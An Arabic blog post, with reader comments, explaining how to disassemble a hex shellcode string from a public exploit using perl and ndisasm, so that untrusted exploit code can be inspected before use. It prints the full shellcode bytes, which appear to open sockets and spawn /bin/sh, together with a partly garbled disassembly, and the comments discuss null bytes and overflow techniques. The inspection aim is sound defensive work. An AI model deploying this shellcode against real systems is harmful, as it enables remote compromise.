تحويل Shellcode إلى لغة الآلة (Assembly)

هل سبق وان تسألت، ماذا تعني هذه الرّموز التي تراها في بعض الأكواد؟ (أنا تسألت :))

"\x3c\x90\x89\xe6\x83\xc6\x40\xc7\x06\x02\x00\x0b\xac\xc7\x46"

بالأمس كنت أقرأ حول استخدام exploits المنشورة على العام، ومدى خطورتها. وكان المثال، عن استغلال لثغرة يحتوي على كود يقوم بالاتصال بحاسوب كاتب الاستغلال ويعطي معلومات عن الشخص الذي يستخدمه، قبل اتصاله بنظام الضّحيّة. طبعاً هذا في حد ذاته يطرح العديد من التّساؤلات حل استخدام هكذا أكواد وخطورتها، ولكن هذا موضوع بحدّ ذاته.

المهمّ بحثت في كفيّة تحويل هذا الكود الى كود بلغة الالة، ليسهل فهم ما يجري. (أنا لست مبرمج assembly أو أي شيء من هذا القبيل ومعلوماتي فيها سطحيّة للغاية).

جرّبت عدّة طرق ووجدت التالية أسهلها:

perl -e 'print "\x3c\x90\x89\xe6\x83\xc6\x40\xc7\x06\x02\x00\x0b\xac\xc7\x46
\x04\x97\xc4\x47\xa0\x31\xc0\x89\x46\x08\x89\x46\x0c\x31\xc0\x89
\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43
\x31\xc0\x83\xc0\x66\x51\x53\x50\xcd\x80\x89\x46\x20\x90\x3c\x90
\x8d\x06\x89\x46\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x58\x5b\x59
\x43\x43\xff\x76\x20\xcd\x80\x5b\x4f\x74\x32\x8b\x04\x24\x89\x46
\x08\x90\xbd\x7f\x00\x00\x01\x89\x6e\x04\xc7\x06\x03\x80\x35\x86
\xb8\x04\x00\x00\x00\x8d\x0e\x31\xd2\x83\xc2\x0c\xcd\x80\xc7\x06
\x02\x00\x0b\xab\x89\x6e\x04\x90\x31\xff\x47\xeb\x88\x90\x31\xc0
\x83\xc0\x3f\x31\xc9\x50\xcd\x80\x58\x41\xcd\x80\xc7\x06\x2f\x62
\x69\x6e\xc7\x46\x04\x2f\x73\x68\x00\x89\xf0\x83\xc0\x08\x89\x46
\x08\x31\xc0\x89\x46\x0c\xb0\x0b\x8d\x56\x0c\x8d\x4e\x08\x89\xf3"' > asmcode

ثمّ نقوم بتحويل الملف الى صيغة assembly باستخدام الأمر التالي:

ndisasm -b 32 shellcode
00000000  3C90              cmp al,0x90
00000002  89E6              mov esi,esp
00000004  83C640            add esi,byte +0x40
00000007  C70602000BAC      mov dword [esi],0xac0b0002
0000000D  C7460A0497C447    mov dword [esi+0xa],0x47c49704
00000014  A031C08946        mov al,[0x4689c031]
00000019  0889460C31C0      or [ecx-0x3fcef3ba],cl
0000001F  890A              mov [edx],ecx
00000021  46                inc esi
00000022  284089            sub [eax-0x77],al
00000025  46                inc esi
00000026  2440              and al,0x40
00000028  894620            mov [esi+0x20],eax
0000002B  8D4E20            lea ecx,[esi+0x20]
0000002E  31DB              xor ebx,ebx
00000030  43                inc ebx
00000031  0A31              or dh,[ecx]
00000033  C083C066515350    rol byte [ebx+0x535166c0],0x50
0000003A  CD80              int 0x80
0000003C  894620            mov [esi+0x20],eax
0000003F  90                nop
00000040  3C90              cmp al,0x90
00000042  0A8D06894624      or cl,[ebp+0x24468906]
00000048  31C0              xor eax,eax
0000004A  83C010            add eax,byte +0x10
0000004D  894628            mov [esi+0x28],eax
00000050  58                pop eax
00000051  5B                pop ebx
00000052  59                pop ecx
00000053  0A4343            or al,[ebx+0x43]
00000056  FF7620            push dword [esi+0x20]
00000059  CD80              int 0x80
0000005B  5B                pop ebx
0000005C  4F                dec edi
0000005D  7432              jz 0x91
0000005F  8B0424            mov eax,[esp]
00000062  89460A            mov [esi+0xa],eax
00000065  0890BD7F0000      or [eax+0x7fbd],dl
0000006B  01896E04C706      add [ecx+0x6c7046e],ecx
00000071  038035860AB8      add eax,[eax-0x47f579cb]
00000077  0400              add al,0x0
00000079  0000              add [eax],al
0000007B  8D0E              lea ecx,[esi]
0000007D  31D2              xor edx,edx
0000007F  83C20C            add edx,byte +0xc
00000082  CD80              int 0x80
00000084  C7060A02000B      mov dword [esi],0xb00020a
0000008A  AB                stosd
0000008B  896E04            mov [esi+0x4],ebp
0000008E  90                nop
0000008F  31FF              xor edi,edi
00000091  47                inc edi
00000092  EB88              jmp short 0x1c
00000094  90                nop
00000095  31C0              xor eax,eax
00000097  0A83C03F31C9      or al,[ebx-0x36cec040]
0000009D  50                push eax
0000009E  CD80              int 0x80
000000A0  58                pop eax
000000A1  41                inc ecx
000000A2  CD80              int 0x80
000000A4  C7062F620A69      mov dword [esi],0x690a622f
000000AA  6E                outsb
000000AB  C746042F736800    mov dword [esi+0x4],0x68732f
000000B2  89F0              mov eax,esi
000000B4  83C008            add eax,byte +0x8
000000B7  89460A            mov [esi+0xa],eax
000000BA  0831              or [ecx],dh
000000BC  C089460CB00B8D    ror byte [ecx+0xbb00c46],0x8d
000000C3  56                push esi
000000C4  0C8D              or al,0x8d
000000C6  4E                dec esi
000000C7  08                db 0x08
000000C8  89F3              mov ebx,esi

قد تحتاج الى تثبيت حزمة nasm على نظامك حتى تستطيع استخدام ndisasm
-b 32 تعني صغية 32bit

نبذة عن الكاتب

بشار ماجستير نظم معلومات. مهندس أنظمة يمتلك خبرة في إدارة أنظمة ويندوز ولينكس. باحث ومختصص في مجال أنظمة المعلومات، معالجة الحوادث الأمنيّة، تحليل الإختراقات الأمنيّة، وفحصوصات الاختراق. حاصل على العديد من الشهادات الأمنيّة. عضو في مجلس استشاريّي معهد سانز لأمن المعلومات.

التعليقات:

اترك تعليقاً | عدد التعليقات: (23)

  1. يقول one-peace:

    شـــــــــــــــكرا اخي بشار على النشاط +1

  2. يقول هيثم:

    السلام عليكم ورحمة الله وبركاته ،،
    بارك الله بك أخي بشار على الموضوع الرائع ،، ولكن لدي استفسار بسيط ..
    jmp short 0x1c

    اين سأجد العنوان short 0x1c??

    وشكرا لك على هذه المجهود الرائغ..

    • يقول بشار:

      وعليكم السلام ورحمة الله وبركاته.
      وفيك بارك الله أخي هيم.

      كما ذكرت معلوماتي في assembly سطحيّة. 🙂

  3. يقول هكر مبتدئ:

    اخوي ياليت تنزل لنا شرح كيف استغلال الشل كود بالثغرات واكون لك من الشاكرينّ حتى تعم الفائده للجميع وشكرا..

  4. يقول B!n@ry:

    عاشت أيدك بشار … فعلا انا قرأت نفس الأمر … بإنه أكبر خطأ تروح تجرب كود لا تعرف ما هو !!!
    ولهذا هذه الخطوات التي وضعتها رائعة للغاية ومفيدة جداً … شكرا يا طيب …

    • يقول بشار:

      بالضبط أبو محمد. تجريب كود بدون معرفة ما هو خطأ كبير. ميزة مشروع metasploit هو أنّهم يقوم بفحص أي شيء يضعونه في المشروع. (هذا لا يعني 100 % ثقة :)).

  5. يقول B!n@ry:

    بشار أنظر حتى فريق عمل ميتاسبلويت ذكروا بإنه من الظروري إنك تعرف هذه الأمور:
    http://blog.metasploit.com/2010/04/penetration-testing-learn-assembly.html

  6. يقول بشار:

    بالضبط ابو محمد…

    انا قرأت الموضوع عندهم أولاً. ولكن أحببت معرفة كيف احول الشيل كود الى اسيمبلي. ما طرحه Hd هناك هي امور يغفل عنها الكثير من ال pentesters مع انها قد تشكل خطراً عليهم او على زبائنهم.

  7. يقول stakler:

    العفو بشار
    عندي سؤال :
    الشل كود فيه null bytes و مع ذلك فهو يشتغل كيف ذلك؟ 😉

  8. يقول B!n@ry:

    وهذا هدفنا من هذا الموقع وهو أن نتعلم جميعنا … مشكور على نشرك ولو أصغر الأمور …

    أخي stakler بخصوص كلامك حول كون الشل كود يعمل حتى بوجود الـ Null Byte … فهل السبب كون الكود يستعمل XOR ؟ لست متأكد بصراحة :$

  9. يقول stalker:

    أخي B!n@ry سأوضح قصدي من السؤال.

    نعلم أن في ثغرات الفيض أغلب الأحيان نقوم بإحداث فيض في سلسلة حرفية char buf[]
    و من المعروف أن رمز نهايتها هو 0x00
    و إذا إستخدمنا شل كود به null bytes فإنه سيتوقف عند أول \x00 و بالتالي لن يواصل تشغيل الشل كود.

    لكن بالنسبة للثغرة المتكلم عنها الوضع مختلف 🙂
    ننتظر المشاركة من الباقون.

  10. يقول 4x0n:

    مشكور ياغالي والمشوضوع جميل فعلا وتستاهل عليه كل خير ياغالي 😉 مشكور وربي يحفظك

  11. يقول B!n@ry:

    stalker@ نعم أخي أعرف ثغرات الفيض حين تصل الى Null Byte فإنها تيقوم بإيقاف عمل الشل الكود ولن يصل الى نهايته … لكن أنا قصدي هل في هذا المثال السبب في إستمرارها وجود XOR في الأوامر التي ستتنفذ ؟ أم إنها لـ Architecture غير Intel ؟ لست متأكد لكن هل لهذه الأمر علاقة؟

    نتمنى أن نستفيد منك يا طيب فلا تحرمنا من ما لديك …

  12. يقول stalker:

    B!n@ry@
    في المثال الxor ليست له علاقة مع مواصلة التشغيل لأن كما قلت في المثال بوجود أول null byte يتوقف التشغيل
    mov dword [esi],0xac0b0002 الopcode الخاص بهذا الإستعلام يحتوي على null byte

    و كما قال الأخ بشار الxor هي طريقة من الطرق لتخطي الnull byte فعوض أن نعمل مثلا
    mov eax,0=> يحتوي على 0x00
    نستخدم
    xor eax,eax
    أو
    and eax,42424242
    and eax,41414141
    من أجل الحصول على printable opcode (مفيد في حالات البرامج التي تقبل فقط ascii chars)

    أما بخصوص إشتغال الشل كود رغم null byte فهذا راجع إلى الثغرة لأنه يتم حفظ TSIG في ذاكرة heap

    ثم يتفحص نوع البروتوكول الذي تم إرسال الTSIG
    فإذا كان عن طريق TCP يستخدمه مباشرة من الheap و هنا يحدث heap overflow
    و إذا كان عن طريق UDP سينسخه إلى قسم من الstack و يحدث stack overflow مع التحكم في ebp

    و هنا سبب عمل الشل كود لأن الTSIG هو عبارة عن بيتات ممكن نجد فيها 0x00
    مثلا 0x0002
    0x02 مثلا نوع الرسالة

    أرجو أني كنت واضحا

  13. يقول B!n@ry:

    stalker@ وهو ما قصدته اخي بإنه إستخدام XOR هي إحدى طرق التجاوز … ربما خانني التعبير … لكني أشكرك جداً على التفصيل والتوضيح …

  14. يقول stalker:

    العفو إخواني يسعدني أني شاركت معكم.

  15. يقول oussama larhmich:

    شكرا اخي صاحب التدوينة و اشكر الاخوة الذين ساهموا في التفسير اكثر فأكثر

    تحية طيبة

  16. يقول أبو برآء:

    إن لم أكن مخطئا ف
    >asmcode
    يجب أن تكون
    shellcde
    حتى تتوافق مع معاملات الأمرndisasm

أكتب تعليق